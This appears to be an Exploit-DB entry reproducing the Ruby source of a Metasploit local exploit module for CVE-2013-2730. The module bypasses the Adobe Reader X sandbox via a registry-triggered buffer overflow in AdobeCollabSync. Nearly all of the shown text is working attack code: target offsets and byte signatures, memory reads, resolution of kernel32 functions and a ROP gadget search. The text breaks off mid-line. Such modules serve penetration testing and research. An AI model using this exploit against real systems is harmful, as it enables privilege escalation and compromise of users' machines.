Exploit-DB #25725
Description: AdobeCollabSync - Local Buffer Overflow / Adobe Reader X Sandbox Bypass (Metasploit)
Type: local
Platform: windows
Date: 2013-05-26
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/common'
require 'msf/core/post/file'

class Metasploit3 < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',
      'Description'    => %q{
          This module exploits a vulnerability on Adobe Reader X Sandbox. The
        vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe
        process to write register values which can be used to trigger a buffer overflow on
        the AdobeCollabSync component, allowing to achieve Medium Integrity Level
        privileges from a Low Integrity AcroRd32.exe process. This module has been tested
        successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Felipe Andres Manzano', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'    =>
        [
          [ 'CVE', '2013-2730' ],
          [ 'OSVDB', '93355' ],
          [ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'SessionTypes'  => 'meterpreter',
      'Payload'        =>
        {
          'Space'       => 12288,
          'DisableNops' => true
        },
      'Targets'       =>
        [
          [ 'Adobe Reader X 10.1.4 / Windows 7 SP1',
            {
              'AdobeCollabSyncTrigger' => 0x18fa0,
              'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"
            }
          ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate'=> 'May 14 2013'
    }))

  end

  def on_new_session
    print_status("Deleting Malicious Registry Keys...")
    if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
      print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")
    end
    if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
      print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")
    end
    print_status("Cleanup finished")
  end

  # Test the process integrity level by trying to create a directory on the TEMP folder
  # Access should be granted with Medium Integrity Level
  # Access should be denied with Low Integrity Level
  # Usint this solution atm because I'm experiencing problems with railgun when trying
  # use GetTokenInformation
  def low_integrity_level?
    tmp_dir = expand_path("%TEMP%")
    cd(tmp_dir)
    new_dir = "#{rand_text_alpha(5)}"
    begin
      session.shell_command_token("mkdir #{new_dir}")
    rescue
      return true
    end

    if directory?(new_dir)
      session.shell_command_token("rmdir #{new_dir}")
      return false
    else
      return true
    end
  end

  def check_trigger
    signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)
    if signature == target['AdobeCollabSyncTriggerSignature']
      return true
    end
    return false
  end

  def collect_addresses
    # find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe
    @addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']
    vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")

    # find kernel32.dll
    kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")
    @addresses['kernel32.dll'] = kernel32["return"]
    if @addresses['kernel32.dll'] == 0
      fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll")
    end
    vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")

    # find kernel32.dll methods
    virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")
    @addresses['VirtualAlloc'] = virtual_alloc["return"]
    if @addresses['VirtualAlloc'] == 0
      fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc")
    end
    vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")

    reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")
    @addresses['RegGetValueA'] = reg_get_value["return"]
    if @addresses['RegGetValueA'] == 0
      fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA")
    end
    vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")

    # find ntdll.dll
    ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")
    @addresses['ntdll.dll'] = ntdll["return"]
    if @addresses['ntdll.dll'] == 0
      fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll")
    end
    vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")
  end

  # Search a gadget identified by pattern on the process memory
  def search_gadget(base, offset_start, offset_end, pattern)
    mem  = base + offset_start
    length = offset_end - offset_start
    mem_contents = session.railgun.memread(mem, length)
    return mem_contents.index(pat